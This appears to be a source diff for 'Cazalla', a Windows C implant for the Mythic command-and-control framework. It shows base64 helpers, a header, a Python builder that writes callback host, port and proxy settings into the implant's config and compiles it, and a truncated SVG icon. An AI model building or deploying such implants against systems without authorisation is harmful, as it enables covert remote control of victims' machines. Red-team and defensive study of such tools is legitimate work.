for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
}
else {
break;
}
}
return ret;
}
int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') {
return 1;
}
if (c >= 'A' && c <= 'Z') {
return 1;
}
if (c >= 'a' && c <= 'z') {
return 1;
}
if (c == '+' || c == '/' || c == '=') {
return 1;
}
return 0;
}
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
SIZE_T i;
SIZE_T j;
int v;
if (in == NULL || out == NULL) {
return 0;
}
len = strlen(in);
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
return 0;
}
for (i = 0; i < len; i++) {
if (!b64IsValidChar(in[i])) {
return 0;
}
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
v = b64invs[in[i] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
if (in[i + 2] != '=') {
out[j + 1] = (v >> 8) & 0xFF;
}
if (in[i + 3] != '=') {
out[j + 2] = v & 0xFF;
}
}
return 1;
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
(buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF;
(buffer)[3] = (value) & 0xFF;
}
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
buffer[7] = value & 0xFF;
value >>= 8;
buffer[6] = value & 0xFF;
value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8;
buffer[0] = value & 0xFF;
}
@@ -0,0 +1,25 @@
#pragma once
#ifndef UTILS
#define UTILS
#include <windows.h>
#include "debug.h"
#ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x )
#endif
#ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x)
#endif
SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
#endif
@@ -0,0 +1,131 @@
import pathlib
import tempfile
from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
from distutils.dir_util import copy_tree
import asyncio
class CazallaAgent(PayloadType):
name = "Cazalla"
file_extension = "exe"
author = "OFSTeam"
supported_os = [SupportedOS.Windows]
wrapper = False
wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False
c2_profiles = ["http"]
mythic_encrypts = False
translation_container = "cazalla_translator"
build_parameters = [
BuildParameter(
name="output",
parameter_type=BuildParameterType.ChooseOne,
description="Choose output format",
choices=["exe", "dll", "debug_exe","debug_dll"],
default_value="exe"
),
]
agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_code_path = agent_path / "agent_code"
build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
]
async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success)
Config = {
"payload_uuid": self.uuid,
"callback_host": "",
"USER_AGENT": "",
"httpMethod": "POST",
"post_uri": "",
"headers": [],
"callback_port": 80,
"ssl":False,
"proxyEnabled": False,
"proxy_host": "",
"proxy_user": "",
"proxy_pass": "",
}
stdout_err = ""
for c2 in self.c2info:
profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else:
Config[key] = val
break
if "https://" in Config["callback_host"]:
Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "":
Config["proxyEnabled"] = True
# create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Gathering Files",
StepStdout="Found all files for payload",
StepSuccess=True
))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Applying configuration",
StepStdout="All configuration setting applied",
StepSuccess=True
))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]:
content = content.replace("%SSL%", "TRUE")
else:
content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]:
content = content.replace("%PROXYENABLED%", "TRUE")
else:
content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0)
f.write(content)
f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate()
print(stdout)
print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout="Successfuly compiled Ra",
StepSuccess=True
))
build_msg = ""
resp.payload = open(filename, "rb").read()
return resp
Binary file not shown.

After

Width:  |  Height:  |  Size: 204 KiB

@@ -0,0 +1,266 @@
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="800.000000pt" height="800.000000pt" viewBox="0 0 800.000000 800.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,800.000000) scale(0.100000,-0.100000)"
fill="#000000" stroke="none">
<path d="M3713 6533 c26 -2 67 -2 90 0 23 2 2 3 -48 3 -49 0 -68 -1 -42 -3z"/>
<path d="M3735 6294 c-66 -7 -129 -12 -140 -13 -40 -2 2 -19 75 -29 41 -6 86
-13 100 -16 63 -15 296 -28 402 -22 115 6 117 5 121 -17 l4 -22 2 23 c1 15 7
22 21 22 11 0 20 4 20 9 0 13 84 19 92 7 4 -6 8 -26 8 -43 0 -26 4 -33 20 -33
17 0 20 7 20 50 0 43 3 50 20 50 37 0 20 19 -22 24 -106 14 -627 21 -743 10z"/>
<path d="M3921 6166 c2 -2 33 -6 67 -10 44 -5 62 -4 57 3 -3 6 -34 11 -67 11
-34 0 -59 -2 -57 -4z"/>
<path d="M4540 6120 c20 -13 33 -13 25 0 -3 6 -14 10 -23 10 -15 0 -15 -2 -2
-10z"/>
<path d="M4421 6102 c-17 -14 -22 -25 -17 -40 4 -12 2 -30 -4 -42 -8 -16 -7
-28 6 -55 16 -33 15 -38 -4 -83 -14 -33 -20 -69 -20 -122 0 -77 8 -100 37
-100 14 0 14 2 1 10 -24 16 14 13 55 -4 36 -15 47 -35 19 -32 -9 0 -20 -9 -24
-21 -8 -19 -3 -23 42 -38 28 -9 58 -13 67 -10 14 6 13 8 -4 15 -11 5 -33 9
-50 10 l-30 2 28 10 c28 10 28 11 10 31 -18 20 -18 20 8 14 26 -7 26 -6 27 56
1 43 -1 56 -7 41 -5 -11 -21 -28 -36 -38 -26 -17 -26 -17 -15 4 7 14 10 54 6
113 -3 51 -5 99 -6 107 0 8 4 51 9 95 5 44 8 81 6 83 -2 2 -21 6 -42 8 -27 3
-45 -1 -62 -14z m6 -69 c-3 -10 -5 -2 -5 17 0 19 2 27 5 18 2 -10 2 -26 0 -35z
m83 -67 c0 -3 -4 -8 -10 -11 -5 -3 -10 -1 -10 4 0 6 5 11 10 11 6 0 10 -2 10
-4z m-89 -93 c-12 -20 -14 -14 -5 12 4 9 9 14 11 11 3 -2 0 -13 -6 -23z"/>
<path d="M3480 5681 c0 -10 25 -21 48 -21 12 1 10 5 -8 15 -29 17 -40 18 -40
6z"/>
<path d="M4420 5601 c0 -5 7 -12 16 -15 14 -5 15 -4 4 9 -14 17 -20 19 -20 6z"/>
<path d="M3790 5370 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0
-10 -4 -10 -10z"/>
<path d="M4178 5373 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
<path d="M3220 3005 l0 -1685 145 0 c138 0 145 1 145 20 0 19 -7 20 -130 20
l-130 0 0 1645 0 1645 755 0 755 0 0 -1645 0 -1644 -132 -3 c-117 -3 -133 -5
-136 -21 -3 -16 9 -17 147 -17 l151 0 0 1685 0 1685 -785 0 -785 0 0 -1685z"/>
<path d="M3965 4219 c-38 -11 -94 -60 -88 -76 7 -21 -5 -15 -18 8 -8 15 -8 19
0 15 6 -4 11 -4 11 1 -1 11 -26 43 -33 43 -9 0 4 -63 14 -74 12 -13 11 -66 0
-66 -6 0 -13 5 -16 10 -3 6 -10 10 -15 10 -11 0 4 -53 24 -82 9 -12 16 -32 16
-45 0 -22 15 -39 23 -26 2 5 2 2 1 -5 -2 -7 5 -21 15 -31 11 -11 31 -41 47
-67 34 -61 54 -85 65 -78 5 3 27 42 50 87 46 92 56 107 71 104 6 -1 11 8 13
20 1 13 9 31 19 41 19 21 37 77 28 86 -3 3 -14 -1 -24 -11 -17 -15 -18 -14
-18 18 0 19 7 43 15 53 8 11 15 29 15 40 0 18 -3 17 -30 -9 -16 -16 -30 -25
-30 -19 0 14 -62 52 -95 57 -16 3 -44 1 -60 -4z m180 -79 c-10 -11 -20 -18
-23 -15 -3 3 3 14 13 25 10 11 20 18 23 15 3 -3 -3 -14 -13 -25z"/>
<path d="M3933 3678 c-47 -23 -68 -120 -38 -178 29 -57 81 -65 126 -21 26 26
29 36 29 91 0 55 -3 65 -29 91 -31 31 -52 35 -88 17z m58 -15 c9 -10 14 -42
14 -93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
<path d="M4123 3678 c-59 -28 -71 -160 -19 -205 15 -13 38 -23 50 -23 35 0 74
37 86 81 14 51 -2 111 -37 138 -28 23 -47 25 -80 9z m58 -15 c9 -10 14 -42 14
-93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
<path d="M3795 3671 c-24 -5 -26 -8 -12 -13 14 -6 17 -21 17 -98 0 -53 -4 -90
-10 -90 -5 0 -10 -3 -10 -7 0 -5 20 -8 45 -8 28 0 41 4 35 10 -6 5 -10 55 -10
112 0 110 2 107 -55 94z"/>
<path d="M3493 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
<path d="M4353 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
<path d="M3765 3413 c-32 -8 -64 -44 -76 -84 -13 -43 0 -96 31 -124 25 -22 91
-31 121 -15 17 10 24 10 27 1 2 -6 17 -11 34 -11 26 0 29 2 18 15 -11 13 -9
28 11 85 13 39 26 70 30 70 3 0 10 -15 16 -34 10 -33 10 -35 -16 -39 l-26 -4
28 -2 c21 -1 31 -9 42 -33 9 -23 10 -37 3 -45 -8 -10 11 -13 91 -13 154 0 201
28 201 122 0 35 -6 54 -24 75 -23 26 -30 28 -112 32 -82 3 -87 2 -71 -14 23
-22 25 -176 2 -195 -16 -13 -19 -8 -71 133 -19 52 -33 77 -43 75 -8 -2 -32
-49 -54 -105 -39 -100 -63 -134 -50 -73 3 19 1 30 -6 30 -6 0 -11 -8 -11 -18
0 -24 -31 -52 -57 -52 -31 0 -55 35 -61 88 -5 57 17 117 46 124 29 8 66 -14
70 -40 5 -34 20 -26 19 11 -1 25 -5 32 -21 34 -12 1 -32 4 -46 6 -14 3 -34 3
-45 0z m461 -27 c16 -12 19 -27 19 -86 0 -64 -3 -74 -24 -91 -47 -38 -56 -24
-59 89 -3 101 -3 102 21 102 13 0 32 -6 43 -14z"/>
<path d="M4385 3411 c-61 -27 -89 -109 -57 -171 44 -89 174 -76 203 20 15 51
-1 113 -35 135 -30 20 -85 27 -111 16z m74 -27 c16 -21 21 -41 21 -88 0 -75
-19 -109 -58 -104 -35 4 -52 39 -52 106 0 99 45 142 89 86z"/>
<path d="M4595 3411 c-61 -26 -56 -70 15 -130 53 -45 60 -61 34 -81 -25 -21
-65 -1 -80 40 l-12 35 -1 -45 -1 -45 51 -3 c56 -3 93 14 104 47 9 29 -9 56
-60 91 -48 33 -58 62 -27 79 24 13 62 -12 62 -40 0 -10 4 -19 8 -19 5 0 8 15
8 34 -1 23 -6 34 -16 35 -8 0 -26 2 -40 5 -14 3 -34 2 -45 -3z"/>
<path d="M3318 3403 c17 -6 17 -194 0 -211 -9 -9 1 -12 47 -12 57 0 58 1 37
16 -14 9 -22 26 -22 44 0 25 4 29 40 35 42 7 80 43 80 76 0 9 -12 27 -26 38
-22 17 -40 21 -98 20 -39 0 -65 -3 -58 -6z m120 -55 c3 -39 0 -49 -18 -58 -30
-16 -40 -4 -40 49 0 54 5 63 35 59 16 -2 21 -12 23 -50z"/>
<path d="M3508 3403 c17 -6 17 -194 0 -211 -9 -9 7 -12 75 -12 l87 0 0 43 -1
42 -13 -31 c-14 -31 -55 -52 -76 -39 -6 4 -10 26 -10 51 0 50 17 59 43 22 15
-22 16 -21 15 25 0 26 -4 47 -9 47 -5 0 -9 -6 -9 -14 0 -12 -20 -26 -36 -26
-2 0 -4 23 -4 51 l0 50 32 -3 c22 -2 36 -10 44 -26 18 -37 24 -37 22 2 l-1 36
-86 -1 c-47 0 -80 -3 -73 -6z"/>
<path d="M3683 3133 c170 -2 444 -2 610 0 166 1 28 2 -308 2 -335 0 -471 -1
-302 -2z"/>
<path d="M3806 3101 c-4 -5 -2 -12 3 -15 5 -4 12 -2 15 3 4 5 2 12 -3 15 -5 4
-12 2 -15 -3z"/>
<path d="M3496 3042 c-3 -5 1 -9 9 -9 8 0 12 4 9 9 -3 4 -7 8 -9 8 -2 0 -6 -4
-9 -8z"/>
<path d="M3671 3000 c24 -30 44 -57 46 -59 2 -2 3 0 3 5 0 5 -21 32 -46 59
l-46 50 43 -55z"/>
<path d="M3778 3043 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
<path d="M3815 3040 c4 -6 11 -8 16 -5 14 9 11 15 -7 15 -8 0 -12 -5 -9 -10z"/>
<path d="M3880 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
-4 -15 -10z"/>
<path d="M3920 3046 c0 -2 7 -9 15 -16 9 -7 15 -8 15 -2 0 5 -7 12 -15 16 -8
3 -15 4 -15 2z"/>
<path d="M4056 3033 c-4 -10 0 -23 11 -32 16 -15 16 -15 4 2 -11 14 -11 20 -1
32 7 9 8 15 2 15 -5 0 -13 -8 -16 -17z"/>
<path d="M4165 3040 c3 -5 8 -10 11 -10 2 0 4 5 4 10 0 6 -5 10 -11 10 -5 0
-7 -4 -4 -10z"/>
<path d="M4340 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
-4 -15 -10z"/>
<path d="M4396 3028 c10 -14 21 -24 23 -22 3 3 -6 15 -18 27 l-24 22 19 -27z"/>
<path d="M4490 3039 c0 -5 5 -7 10 -4 6 3 10 8 10 11 0 2 -4 4 -10 4 -5 0 -10
-5 -10 -11z"/>
<path d="M4520 3046 c0 -2 7 -9 15 -16 13 -11 14 -10 9 4 -5 14 -24 23 -24 12z"/>
<path d="M4309 3023 c-13 -16 -12 -17 4 -4 9 7 17 15 17 17 0 8 -8 3 -21 -13z"/>
<path d="M4459 3023 c-13 -16 -12 -17 4 -4 16 13 21 21 13 21 -2 0 -10 -8 -17
-17z"/>
<path d="M4571 3020 c14 -31 19 -36 19 -24 0 6 -7 19 -16 30 -14 18 -14 18 -3
-6z"/>
<path d="M4121 3014 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M3476 3005 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
<path d="M3520 3015 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
-5 8 -10 11 -10 5z"/>
<path d="M3620 3014 c0 -15 99 -120 100 -106 0 6 -4 12 -9 12 -5 0 -28 23 -50
51 -23 29 -41 48 -41 43z"/>
<path d="M3887 2999 c7 -7 15 -10 18 -7 3 3 -2 9 -12 12 -14 6 -15 5 -6 -5z"/>
<path d="M3822 2980 c0 -14 2 -19 5 -12 2 6 2 18 0 25 -3 6 -5 1 -5 -13z"/>
<path d="M3850 2991 c0 -6 4 -13 10 -16 6 -3 7 1 4 9 -7 18 -14 21 -14 7z"/>
<path d="M4037 2979 c12 -12 24 -21 27 -18 2 2 -8 13 -22 23 l-27 19 22 -24z"/>
<path d="M3501 2980 c0 -15 38 -91 39 -79 0 4 -9 26 -20 50 -11 24 -19 37 -19
29z"/>
<path d="M3921 2987 c2 -1 13 -9 24 -17 19 -14 19 -14 6 3 -7 9 -18 17 -24 17
-6 0 -8 -1 -6 -3z"/>
<path d="M4171 2974 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M3456 2955 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
<path d="M3540 2965 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
-5 8 -10 11 -10 5z"/>
<path d="M4291 2944 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
<path d="M4572 2940 c-7 -11 -8 -20 -3 -20 9 0 24 30 18 36 -1 2 -8 -6 -15
-16z"/>
<path d="M3846 2937 c2 -7 14 -19 27 -26 21 -13 21 -12 -2 13 -27 29 -33 32
-25 13z"/>
<path d="M4020 2943 c0 -6 8 -17 18 -24 16 -13 16 -13 2 6 -8 11 -16 22 -17
24 -2 2 -3 0 -3 -6z"/>
<path d="M4480 2944 c0 -6 7 -19 16 -30 14 -18 14 -18 3 6 -14 31 -19 36 -19
24z"/>
<path d="M3950 2932 c0 -7 -6 -12 -14 -12 -8 0 -17 -4 -20 -9 -4 -5 3 -7 14
-4 22 6 35 21 26 30 -3 4 -6 1 -6 -5z"/>
<path d="M4105 2919 c-16 -10 -25 -19 -19 -19 7 0 22 9 35 20 30 24 23 24 -16
-1z"/>
<path d="M4167 2921 c-4 -17 -3 -21 5 -13 5 5 8 16 6 23 -3 8 -7 3 -11 -10z"/>
<path d="M4344 2923 c23 -28 28 -28 57 -2 l24 20 -28 -17 c-26 -16 -29 -16
-50 2 l-22 19 19 -22z"/>
<path d="M4450 2936 c0 -2 8 -10 18 -17 15 -13 16 -12 3 4 -13 16 -21 21 -21
13z"/>
<path d="M4530 2915 c-8 -9 -8 -15 -2 -15 12 0 26 19 19 26 -2 2 -10 -2 -17
-11z"/>
<path d="M3430 2910 c-9 -6 -10 -10 -3 -10 6 0 15 5 18 10 8 12 4 12 -15 0z"/>
<path d="M4185 2784 c-102 -156 -108 -164 -101 -164 3 0 46 61 96 135 50 74
87 135 83 135 -5 0 -39 -48 -78 -106z"/>
<path d="M4082 2858 c-21 -21 -14 -66 13 -84 23 -15 27 -15 50 0 29 19 33 56
9 80 -18 19 -55 21 -72 4z m56 -32 c4 -33 -17 -64 -29 -44 -11 16 -12 62 -2
72 13 13 28 -1 31 -28z"/>
<path d="M3793 2772 l-62 -87 45 -3 c35 -2 44 -7 44 -22 0 -10 -6 -21 -12 -23
-7 -3 7 -6 32 -6 34 -1 41 2 32 11 -7 7 -12 18 -12 25 0 21 29 15 53 -11 12
-13 33 -28 47 -31 l25 -7 -22 24 c-23 25 -28 44 -17 72 9 24 30 19 53 -10 25
-32 26 -38 5 -58 -21 -22 3 -22 34 0 30 20 28 59 -4 91 l-25 25 20 20 c27 24
26 43 -1 62 -31 22 -74 20 -98 -4 -25 -25 -25 -41 0 -72 l19 -25 -23 -22 c-20
-19 -28 -21 -45 -12 -17 9 -21 23 -23 81 l-3 70 -62 -88z m215 44 c5 -42 -12
-52 -36 -21 -24 31 -19 57 12 53 15 -2 22 -11 24 -32z m-188 -66 c0 -36 -2
-40 -25 -40 -14 0 -25 2 -25 5 0 6 44 75 48 75 1 0 2 -18 2 -40z"/>
<path d="M3558 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
<path d="M4328 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
<path d="M4185 2710 c-35 -39 9 -104 55 -80 34 18 44 48 25 76 -19 29 -55 31
-80 4z m53 -30 c4 -42 -12 -60 -28 -30 -14 26 -5 73 13 67 7 -2 13 -18 15 -37z"/>
<path d="M3465 2526 c-22 -16 -25 -67 -5 -91 9 -11 26 -15 53 -13 56 4 60 25
5 24 -43 -1 -43 -1 -43 34 0 34 1 35 38 35 23 0 37 5 37 13 0 16 -61 16 -85
-2z"/>
<path d="M3647 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 8 21 53 19 65
-2 5 -10 12 -15 16 -12 8 8 -41 119 -53 119 -5 0 -20 -27 -35 -60z m42 -9
c-15 -5 -22 6 -14 19 6 9 10 9 16 -1 5 -8 4 -15 -2 -18z"/>
<path d="M3810 2531 c0 -6 14 -11 31 -13 l31 -3 -37 -47 -36 -48 56 0 c30 0
55 5 55 10 0 6 -16 10 -36 10 l-36 0 29 38 c49 62 49 62 -6 62 -28 0 -51 -4
-51 -9z"/>
<path d="M3997 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 7 20 46 19 62
-2 7 -10 15 -15 18 -12 8 8 -41 119 -52 119 -5 0 -20 -27 -35 -60z m43 5 c0
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
<path d="M4160 2480 l0 -60 40 0 c22 0 40 5 40 10 0 6 -13 10 -30 10 -29 0
-30 1 -30 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
<path d="M4310 2480 l0 -60 35 0 c19 0 35 5 35 10 0 6 -11 10 -25 10 -23 0
-25 3 -25 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
<path d="M4474 2503 c-31 -74 -34 -83 -23 -83 5 0 12 7 15 15 8 21 54 19 70
-2 7 -10 15 -16 18 -13 7 8 -45 120 -55 120 -5 0 -16 -17 -25 -37z m36 -18 c0
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
<path d="M3320 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
-11 -4 -11 -13z"/>
<path d="M4660 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
-11 -4 -11 -13z"/>
<path d="M3585 2340 c17 -4 206 -8 420 -8 215 0 404 4 420 8 17 4 -172 8 -420
8 -247 0 -436 -4 -420 -8z"/>
<path d="M3841 1645 c1 -30 4 -55 8 -55 3 0 14 19 23 41 14 33 14 38 3 29 -13
-10 -15 -8 -15 14 0 14 -4 26 -10 26 -6 0 -9 -24 -9 -55z"/>
<path d="M3976 1686 c3 -8 -3 -16 -16 -19 -17 -4 -21 -12 -18 -39 2 -25 8 -34
26 -36 21 -3 22 0 22 52 0 31 -4 56 -10 56 -5 0 -7 -6 -4 -14z m-4 -78 c-15
-15 -27 14 -17 40 6 15 8 15 18 -6 7 -16 7 -26 -1 -34z"/>
<path d="M4140 1645 c0 -30 4 -55 10 -55 5 0 7 7 4 15 -4 8 -1 15 5 15 6 0 11
-7 11 -15 0 -8 5 -15 10 -15 7 0 7 6 0 20 -8 14 -8 26 0 40 7 14 7 20 0 20 -5
0 -10 -4 -10 -10 0 -5 -4 -10 -9 -10 -4 0 -6 11 -3 25 2 15 0 25 -7 25 -7 0
-11 -21 -11 -55z"/>
<path d="M3535 1640 c4 -19 12 -39 17 -45 7 -7 8 2 3 25 -4 19 -12 40 -17 45
-7 7 -8 -2 -3 -25z"/>
<path d="M3567 1656 c-10 -25 -9 -38 3 -31 6 3 10 -3 10 -14 0 -35 17 -23 28
19 5 22 6 40 2 40 -5 0 -10 -10 -13 -22 l-4 -23 -10 24 c-8 21 -11 22 -16 7z"/>
<path d="M3631 1655 c-1 -29 10 -65 20 -65 5 0 9 9 9 20 0 11 -4 20 -9 20 -5
0 -12 10 -14 23 -4 19 -4 19 -6 2z"/>
<path d="M3660 1657 c0 -17 23 -67 31 -67 7 0 20 53 18 74 0 6 -5 0 -11 -14
-11 -25 -11 -25 -15 -2 -5 23 -23 31 -23 9z"/>
<path d="M3723 1654 c3 -11 9 -30 12 -43 l7 -24 13 23 12 22 7 -23 c5 -19 8
-21 15 -9 15 26 23 72 11 65 -5 -3 -10 -16 -11 -28 -1 -20 -2 -19 -13 6 l-12
27 -11 -27 c-10 -25 -11 -26 -12 -6 -1 12 -6 25 -12 29 -7 4 -9 0 -6 -12z"/>
<path d="M3900 1628 c0 -21 5 -38 10 -38 6 0 10 11 10 24 0 13 2 31 5 39 4 8
0 14 -10 14 -11 0 -15 -11 -15 -39z"/>
<path d="M4008 1630 c-2 -22 0 -40 4 -40 5 0 8 13 8 28 0 15 5 33 12 40 9 9 8
12 -4 12 -11 0 -17 -12 -20 -40z"/>
<path d="M4053 1630 c0 -25 2 -35 4 -22 2 12 2 32 0 45 -2 12 -4 2 -4 -23z"/>
<path d="M4081 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 4 -37 9 -37 5
0 8 15 7 33 -4 47 -4 47 -26 47 -17 0 -20 -6 -19 -42z"/>
<path d="M4204 1655 c-4 -8 0 -22 7 -31 10 -13 10 -17 -2 -25 -12 -7 -11 -9 3
-9 23 0 28 22 10 43 -14 16 -14 19 -2 27 11 7 11 10 2 10 -7 0 -15 -7 -18 -15z"/>
<path d="M4280 1655 c-17 -20 -4 -65 18 -64 10 0 12 3 5 6 -19 7 -16 50 5 62
15 9 15 10 1 11 -9 0 -22 -7 -29 -15z"/>
<path d="M4330 1655 c-17 -21 -4 -67 18 -63 12 2 17 13 17 37 0 38 -15 50 -35
26z m30 -31 c0 -13 -4 -24 -10 -24 -5 0 -10 14 -10 31 0 17 4 28 10 24 6 -3
10 -17 10 -31z"/>
<path d="M4391 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 5 -37 10 -37
6 0 10 16 10 35 0 45 18 45 23 0 l4 -35 -1 37 c-1 36 -3 38 -38 41 l-38 2 1
-42z"/>
<path d="M3870 1611 c0 -5 5 -13 10 -16 6 -3 10 -2 10 4 0 5 -4 13 -10 16 -5
3 -10 2 -10 -4z"/>
<path d="M3815 1600 c-3 -5 -1 -10 4 -10 6 0 11 5 11 10 0 6 -2 10 -4 10 -3 0
-8 -4 -11 -10z"/>
<path d="M3611 1392 c-14 -27 -11 -64 6 -70 19 -6 27 25 16 61 -9 32 -9 32
-22 9z m19 -37 c0 -14 -4 -25 -10 -25 -5 0 -10 11 -10 25 0 14 5 25 10 25 6 0
10 -11 10 -25z"/>
<path d="M4247 1394 c-4 -4 -7 -22 -7 -41 0 -40 26 -46 36 -7 7 26 -15 62 -29
48z m10 -51 c-3 -10 -5 -4 -5 12 0 17 2 24 5 18 2 -7 2 -21 0 -30z"/>
<path d="M3532 1355 c0 -19 4 -35 9 -35 8 0 14 23 10 44 -1 5 4 13 11 17 9 6
7 9 -8 9 -18 0 -22 -6 -22 -35z"/>
<path d="M3681 1353 c0 -21 3 -32 6 -24 4 10 7 11 13 1 5 -8 8 2 8 24 0 24 -5
36 -14 36 -10 0 -14 -12 -13 -37z"/>
<path d="M3750 1357 c0 -26 4 -32 23 -33 20 -1 22 2 19 30 -3 23 -9 32 -23 33
-15 1 -19 -5 -19 -30z"/>
<path d="M3832 1358 c4 -47 32 -45 35 2 l1 35 -7 -35 c-6 -28 -9 -31 -15 -17
-5 9 -6 24 -2 32 3 8 1 15 -5 15 -6 0 -9 -15 -7 -32z"/>
<path d="M3905 1355 c0 -29 4 -35 20 -34 11 0 14 3 8 6 -7 2 -13 18 -13 34 0
16 -3 29 -7 29 -5 0 -8 -16 -8 -35z"/>
<path d="M3976 1358 c-3 -17 -4 -33 -1 -36 3 -3 5 1 5 9 0 12 2 12 10 -1 13
